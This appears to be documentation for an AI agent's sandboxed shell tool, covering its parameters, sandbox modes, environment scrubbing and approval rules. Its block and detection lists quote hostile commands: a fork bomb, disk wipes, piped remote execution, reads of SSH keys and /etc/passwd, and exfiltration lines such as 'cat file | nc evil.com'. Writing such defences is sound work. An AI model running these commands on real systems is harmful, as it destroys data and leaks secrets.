Shell Execution

Execute shell commands in a sandboxed environment

Overview

The shell tool executes commands in a controlled environment with comprehensive security validations, timeout enforcement, and optional Docker sandbox isolation.

shell

Execute shell commands for builds, tests, git operations, and other CLI tasks. Commands run in a subprocess with captured output.

Input Parameters

command · string · required

The shell command to execute

workdir · string

Working directory for the command (optional)

timeout · integer · default: 120

Timeout in seconds

Output

output · string

Combined stdout and stderr output (truncated to 64KB)

exit_code · integer

Process exit code (0 = success)

success · boolean

True if exit code is 0

sandboxed · boolean

True if command ran in Docker sandbox

Example

{
  "command": "cargo build --release",
  "workdir": "/home/user/project",
  "timeout": 300
}

Response

{
  "output": "Compiling my-project v0.1.0\n   Finished release [optimized] target(s) in 45.2s",
  "exit_code": 0,
  "success": true,
  "sandboxed": false
}

Security Layers

Commands pass through multiple validation stages before execution:

1. Blocked Commands

Exact pattern matches that are always rejected:

• rm -rf /, rm -rf /*
• Fork bombs: :(){ :|:& };:
• Disk wipe: dd if=/dev/zero, mkfs, > /dev/sda
• Piped execution: curl | sh, wget | bash

2. Dangerous Patterns

Substring matches for potentially dangerous commands:

• Privilege escalation: sudo, doas
• Piped execution: | sh, | bash, eval
• Remote execution: $(curl, $(wget
• Sensitive files: /etc/passwd, ~/.ssh, id_rsa

3. Injection Detection

Obfuscation and exfiltration patterns:

• Base64 to shell: base64 -d | sh
• Encoded escapes: printf '\x...' | bash
• Hex decode: xxd -r ... | sh
• DNS exfiltration: dig $(cat secret)...
• Netcat piping: cat file | nc evil.com
• File uploads: curl -d @/etc/passwd, wget --post-file
• String reversal: echo 'hs | lr' | rev | sh

4. Environment Scrubbing

When running directly (no sandbox):

• Only safe environment variables forwarded to child processes
• API keys, tokens, and credentials NOT inherited
• Prevents secret leakage via env, printenv, or child processes

Safe Environment Variables:

• Core OS: PATH, HOME, USER, SHELL, TERM
• Locale: LANG, LC_*
• Directories: PWD, TMPDIR, XDG_*
• Toolchains: CARGO_HOME, RUSTUP_HOME, NODE_PATH
• Editor: EDITOR, VISUAL

Execution Modes

Docker Sandbox (When Available)

Commands run inside ephemeral containers:

• Network traffic through validating proxy
• Credentials injected by proxy (never exposed)
• Filesystem isolation
• Resource limits enforced

Direct Execution (Fallback)

Commands run on host with:

• Scrubbed environment (safe vars only)
• Working directory isolation
• Timeout enforcement
• Output capture and truncation

The tool never silently falls through to unsandboxed execution if sandbox was configured. Either sandbox runs or execution fails.

Approval Requirements

The following commands ALWAYS require explicit approval, even if shell tool is auto-approved:

Destructive Commands

• rm -rf, rm -fr
• chmod 777, chown -r
• shutdown, reboot, poweroff
• kill -9, killall, pkill

System Changes

• iptables, nft
• useradd, userdel, passwd
• visudo, crontab
• systemctl disable

Version Control

• git push --force, git push -f
• git reset --hard
• git clean -f

Docker Operations

• docker rm, docker rmi
• docker system prune

Database Operations

• DROP TABLE, DROP DATABASE
• TRUNCATE, DELETE FROM

Rate Limiting

• 30 calls per minute
• 300 calls per hour

Output Handling

• Maximum output size: 64KB
• Longer output truncated (head + tail shown with size indicator)
• Both stdout and stderr captured
• Separate stderr section if both present

Truncated Output Example:

[first 32KB]

... [truncated 50000 bytes] ...

[last 32KB]

Error Conditions

NotAuthorized

• Blocked command pattern detected
• Dangerous pattern detected
• Command injection/obfuscation detected

ExecutionFailed

• Failed to spawn command
• Sandbox error

Timeout

• Command exceeded timeout (default 120s)

Examples

Build Command

{
  "command": "npm run build",
  "workdir": "/app",
  "timeout": 600
}

Git Operations

{
  "command": "git log --oneline -10"
}

Test Suite

{
  "command": "cargo test --release",
  "timeout": 300
}

File Search

{
  "command": "find . -name '*.rs' -type f | wc -l"
}

Best Practices

1. Use specific working directories instead of cd commands
2. Set appropriate timeouts for long-running operations
3. Check exit codes to verify success
4. Avoid sudo and privilege escalation
5. Use git safely - avoid force push to main/master
6. Prefer targeted commands over bulk deletions